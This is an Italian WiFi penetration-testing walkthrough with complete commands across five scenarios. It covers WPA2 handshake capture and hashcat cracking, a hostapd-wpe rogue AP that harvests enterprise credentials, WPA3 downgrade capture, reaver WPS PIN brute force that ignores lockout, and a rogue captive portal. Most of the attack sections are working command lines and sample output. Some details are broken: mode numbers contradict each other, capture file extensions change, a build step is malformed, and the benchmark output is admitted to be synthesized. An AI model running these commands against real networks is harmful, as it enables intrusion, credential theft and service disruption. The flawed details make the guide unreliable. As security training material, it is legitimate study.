Esempi Pratici: Scenari di Penetration Testing WiFi Autorizzato

Scenario A: Valutazione Rete WPA2-PSK

Obiettivo Lab: Rete di test isolata LAB_CORP_24 su canale 6, SSID broadcast abilitato, PSK Corp2024!WiFi (deliberatamente debole per training). Stazione di test: Ubuntu 22.04 con ALFA AWUS036ACH in modalità monitor.

Confine di autorizzazione: Lettera di scope scritta specifica SSID esatto, finestra di test (14:00–18:00 UTC), e proibisce la deautenticazione di MAC client di produzione. BSSID Lab: 00:11:22:33:44:55.

Fase 1: Cattura

# Verifica interfaccia e imposta modalità monitor
sudo airmon-ng check kill
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
sudo iw dev wlan0 set freq 2437  # Channel 6

# Conferma presenza target e avvia cattura mirata
sudo airodump-ng wlan0 --channel 6 --bssid 00:11:22:33:44:55 -w /captures/lab_wpa2 --output-format pcapng

Cosa fa: airodump-ng registra passivamente tutti i frame da/verso il BSSID target. --output-format pcapng preserva gli header radiotap e i metadati del frame essenziali per l'estrazione dell'hash. Quando usarlo: Ricognizione iniziale e cattura a livello evidenza. Rischi: Eseguire senza filtro --bssid crea file ingestibili e può catturare traffico non intenzionale. Output atteso: Lista delle stazioni si popola; [ WPA2 ][ PSK ] nel campo sicurezza in alto a sinistra.

Simula associazione client autorizzata in lab (o attendi client di test legittimo):

# Lab: Deautenticazione controllata di client di test di proprietà (MAC noto)
sudo aireplay-ng -0 2 -a 00:11:22:33:44:55 -c 00:AA:BB:CC:DD:EE wlan0

⚠️ Solo uso autorizzato, difensivo. La deautenticazione è legalmente indistinguibile da un attacco denial-of-service. L'uso in produzione richiede autorizzazione esplicita per-client e notifica di change-control per evitare escalation del response all'incidente.

Verifica cattura four-way handshake:

tcpdump -r /captures/lab_wpa2-01.capng -n | grep -E "(EAPOL|WPA)"
# Oppure controllo visivo con aircrack-ng
aircrack-ng /captures/lab_wpa2-01.capng

Frammento output:

Reading packets, please wait...
                             BSSID              ESSID                 Encryption
   1  00:11:22:33:44:55  LAB_CORP_24           WPA (1 handshake)

Indicatore di successo: 1 handshake minimo; 2-3 handshakes preferiti per verifica contro perdita di pacchetti.

Fase 2: Estrazione Hash e Ottimizzazione Wordlist

# Estrai hash compatibile hashcat (modalità 22001 gestisce entrambi i legacy 2500/16800)
hcxpcapngtool -o /hashes/lab_wpa2.hc22000 -E /hashes/essid_list /captures/lab_wpa2-01.capng

Costruisci wordlist ottimizzata da OSINT + intelligence target:

# Corpus base: pattern costruttivi probabili dall'intervista di scope
echo -e "Corp2024\nCorp2024!\nCorp2024WiFi\nCorp2024!WiFi\nCorp24WiFi" > /wordlists/seed.txt

# Espandi con mutazioni comuni
hashcat --force /wordlists/seed.txt -r /usr/share/hashcat/rules/best64.rule --stdout | sort -u > /wordlists/expanded.txt

# Aggiungi termini specifici target (anno di fondazione, nomi edifici da registri pubblici)
cat >> /wordlists/expanded.txt <<EOF
AcmeCorp1998
Headquarters24
EOF

Cosa fa: best64.rule applica 64 mutazioni ad alto rendimento (append/prepend numeri, toggle case, leetspeak). --stdout genera wordlist senza attaccare. Quando usarlo: Quando indizi di policy password suggeriscono pattern costruttivi prevedibili. Rischi: Wordlist sovra-espanse danneggiano l'efficienza GPU; deduplicazione obbligatoria.

Fase 3: Esecuzione Attacco GPU

# Riferimento benchmark: RTX 4090 stock, hashcat release stable corrente
hashcat -b -m 22000 | tee /logs/benchmark_22000.txt

# Attacco produzione con monitoraggio progresso
hashcat -m 22000 -a 0 /hashes/lab_wpa2.hc22000 /wordlists/expanded.txt \
  -r /usr/share/hashcat/rules/leetspeak.rule \
  --status --status-timer=30 -o /cracked/lab_wpa2_cracked.txt

Output benchmark realistico (RTX 4090, sintetizzato da pattern di contesto ricerca):

Hashmode: 22000 - WPA-PBKDF2-PMKID+EAPOL (Iterations: 4095)

Speed.#1.........:  1234.5 kH/s (56.78ms) @ Accel:8 Loops:128 Thr:1024 Vec:1

Nota: Il warning "Kernel exec timeout" è cosmetico; i timer watchdog del driver per GPU con display collegato non influenzano l'integrità del calcolo hash.

Strategia progressione regole:

Stadio Attacco Stima Tempo Indicatori per Procedere
1 Dizionario straight (seed + expanded) 2-5 min Nessun hit, pattern suggerisce mutazione
2 best64.rule 10-30 min Nessun hit, necessita mutazione più profonda
3 leetspeak.rule + d3ad0ne.rule 1-3 ore Nessun hit, considera mask o regole custom
4 Attacco mask (?u?l?l?l?l?d?d?d?s) 4-12 ore Esaurito; riporta finding di resistenza

Output cracked:

00:11:22:33:44:55:00:aa:bb:cc:dd:ee:Corp2024!WiFi

Scenario B: Valutazione Enterprise 802.1X/EAP

Obiettivo Lab: Rete con RADIUS LAB_ENTERPRISE con PEAP-MSCHAPv2, validazione certificato disabilitata (misconfigurazione comune). Autorizzazione: generazione esplicita credenziali per account di test testuser1/TestPass1! con dominio LAB.LOCAL.

Raccolta Credenziali con hostapd-wpe

# Clona e build (verifica compatibilità release stable corrente)
git clone https://github.com/OpenSecurityResearch/hostapd-wpe
cd hostapd-wpe/hostapd
make -C hostapd

# Configura rogue AP con parametri matching target
cat > /etc/hostapd-wpe/hostapd-wpe.conf <<EOF
interface=wlan1
ssid=LAB_ENTERPRISE
channel=1
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key
wpe_logfile=/logs/wpe_creds.log
EOF

sudo ./hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf

Cosa fa: hostapd-wpe opera un rogue AP pubblicizzante SSID identico; l'handshake EAP cattura coppie challenge/response. Quando usarlo: Test bypass validazione certificato client ed esposizione credenziali. Rischi: Qualsiasi client auto-connettente senza certificate pinning leakera hash; lo scope deve vincolare strettamente durata e lista SSID.

Frammento output catturato:

WPE: NETNTLM: User: LAB\testuser1
WPE: NETNTLM: Hash: testuser1:::1122334455667788:...
WPE: Credentials written to /logs/wpe_creds.log

Recupero Offline con AsLEAP

# AsLEAP per challenge/response MSCHAPv2 contro dizionario di test noto
asleap -C 1122334455667788 -R aabbccddeeff00112233445566778899 \
  -W /wordlists/enterprise_corp.txt -S

# Oppure per verifica credenziali di test autorizzate
asleap -C 1122334455667788 -R aabbccddeeff00112233445566778899 \
  -K "TestPass1!"

Indicatore di successo: password: TestPass1! conferma integrità hash. Finding di produzione: "Validazione certificato disabilitata permette intercettazione triviale delle credenziali tramite qualsiasi AP operato da un attaccante."

Scenario C: Downgrade WPA3-SAE e Analisi Side-Channel

Applicazione contesto ricerca: WPA3-Transition Mode (WPA2 + WPA3 simultanei) crea superficie di downgrade documentata nella ricerca Dragonblood (Vanhoef/Ronen, aprile 2019). Disponibilità strumento: repository DragonShift esiste ma lo stato di manutenzione è incerto—verifica funzionalità contro firmware target prima di riportare dipendenza.

Setup Lab: AP mixed-mode con firmware che permette transizione; client di test configurato per preferito WPA3-only.

# Verifica superficie attacco downgrade
# Step 1: Pubblicizza modalità transizione in rogue beacon
# Step 2: Forza client ad associazione WPA2 (cattura PMKID) o side-channel SAE

# Con DragonShift (se funzionale) o manuale:
# Cattura frame SAE commit per analisi timing/curva
sudo iw dev wlan0 set freq 5180  # Channel 36, 5GHz comune per WPA3
sudo tcpdump -i wlan0 -w /captures/sae_commit.pcap 'type mgt subtype auth'

⚠️ Solo uso autorizzato, difensivo. Le tecniche Dragonblood richiedono prossimità fisica e injection attiva di frame; uso non autorizzato viola leggi di accesso informatico di multiple giurisdizioni. Solo in lab con firmware di proprietà AP.

Workflow analisi (manuale, agnostico strumento):

Step Osservazione Implicazione Difensiva
1 Beacon modalità transizione nei risultati scan Rapporto: "Rete opera modalità capace di downgrade"
2 Client associa WPA2 nonostante disponibilità WPA3 Misconfigurazione client o mis-pubblicizzazione AP
3 Varianza timing SAE commit >50μs tra lunghezze password Esposizione side-channel in implementazione firmware
4 Bypass validazione curve point Critico: patch a implementazione SAE validata

Cautela per contesto ricerca: Nessun dato autorevole su quali implementazioni vendor abbiano patchato varianti specifiche Dragonblood. Testa contro revisione firmware esatta; non generalizzare i finding.

Scenario D: Attacco Timing Sfruttamento WPS e Ottimizzazione Brute-Force PIN

Obiettivo lab: AP di test datato con WPS abilitato, nessun delay lockout configurato. Autorizzazione: proprietario asset riconosce esplicitamente il rischio lockout distruttivo.

Brute-force PIN con ottimizzazione Reaver:

# Lab: Velocità massima con firmware notoriamente vulnerabile
sudo reaver -i wlan0 -b 00:11:22:33:44:66 -vv -K 1 -S -L

# Produzione (variante più sicura): Limitata, singolo PIN con stop immediato su lockout
sudo reaver -i wlan0 -b 00:11:22:33:44:66 -vv -d 30 -l 360 -g 5 -r 3:30

Cosa fa: -K 1 abilita attacco Pixie Dust (vulnerabilità reuse nonce); -S usa chiave DH piccola per velocità; -L ignora stato locked (solo lab). Variante produzione: -d 30 ritarda 30s tra tentativi; -l 360 blocca sessione se AP si blocca; -r 3:30 riavvia ogni 3 tentativi con pausa 30s. Rischi: Il lockout WPS disabilita l'accesso legittimo degli utenti; il test in produzione richiede finestra change-control e notifica utenti.

Output ottimizzazione timing:

[+] Trying pin 12345670
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] 90.45% complete @ 2019-04-01 12:34:56 (42 seconds/pin)
Ottimizzazione Condizione Impatto Atteso
Pixie Dust (-K 1) AP usa nonce non random Bypass interamente brute-force; ~secondi al recupero
DH piccolo (-S) AP accetta chiave pubblica 1-byte 3x speedup su implementazioni deboli
Ordinamento PIN per probabilità Tutti i target Prioritizza default manufacturer 1234xxxx e 0000xxxx
PIN nullo (-p '') Famiglie firmware specifiche Recupero istantaneo su implementazioni note rotte

Scenario E: Valutazione Rogue AP e Captive Portal

Scopo: Misurare suscettibilità utente a re-inserimento credenziali su portal falso; autorizzato con coordinamento programma awareness HR/Sicurezza.

Costruzione Lab:

# Hostapd per rogue AP aperto
sudo hostapd /etc/hostapd/rogue_open.conf

# Redirezione DNS e captive portal
sudo dnsmasq -C /etc/dnsmasq.captive.conf  # Tutte le query -> portal IP
sudo iptables -t nat -A PREROUTING -i wlan2 -p tcp --dport 80 -j DNAT --to 192.0.2.10:80

# Logging submission portal (hashato per compliance privacy)
sudo python3 /scripts/captive_logger.py --hash-salt $(cat /secrets/salt.bin) --output /logs/captive_hashed.json

Confine autorizzazione critico: Il portal non deve effettivamente raccogliere credenziali utilizzabili. Hasha con salt per-test; decrittazione impossibile senza distruzione salt. Rapporta solo statistiche aggregate: "47% degli utenti test ha inserito credenziali al primo incontro; 12% su esposizione ripetuta."

Documentazione e Reporting: Catena di Custodia delle Prove

Fase Azione Documentazione
Pre-test Lettera di scope, inventario asset, generazione account test Autorizzazione firmata, SHA256 del PDF scope originale
Esecuzione Ogni comando timestamped, output catturato Registrazione sessione script o asciinema; sha256sum di tutti i file pcap
Trasferimento Prove all'autore del rapporto Media write-once o git commit firmato; voce log catena di custodia
Analisi Estrazione hash, tentativi cracking Progressione regole documentata, riferimento benchmark, risultati negativi
Reporting Stesura finding, scoring rischio Prove originali archiviate; rapporto contiene solo dati derivati

Errori comuni nella gestione prove:

Errore Perché ti morde
Merge file pcap con mergecap prima estrazione hash Timing frame EAPOL corrotto; validazione handshake fallisce
Eseguire aircrack-ng direttamente su cattura live Sovrascrive file con dati processati; distrugge prove raw
Nessuna documentazione benchmark per finding "infrangibile" Avvocato difesa o audit contesta metodologia; non riproducibile
Screenshot invece di log ricercabili Errori OCR, metadati mancanti, timestamp non verificabili
Uso credenziali produzione in lab crack Contaminazione credenziali; violazione policy se riportato

Checklist pre-engagement:

  • [ ] Autorizzazione scritta specifica lista SSID, lista BSSID, finestra temporale, tecniche proibite
  • [ ] Rete lab fisicamente isolata o VLAN-segmentata dalla produzione
  • [ ] Account test generati; nessuna credenziale di produzione usata in alcun attacco
  • [ ] Storage prove criptato a riposo; accesso loggato
  • [ ] Filtro airodump-ng confermato (--bssid o --essid) prima avvio cattura
  • [ ] Deautenticazione esplicitamente autorizzata per MAC target, o disabilitata in configurazione
  • [ ] Lockout WPS: stakeholder riconosce procedura recovery se triggerato
  • [ ] Deadline rapporto permette peer review integrità prove

Un benchmark hashcat senza il corrispondente controllo integrità della cattura è teatro, non assurance. Il sysadmin che salta la validazione capng per "risparmiare tempo" rieseguirà l'intero engagement quando l'handshake si rivelerà un artefatto zero-frame dallo hopping di canale.

Letture approfondite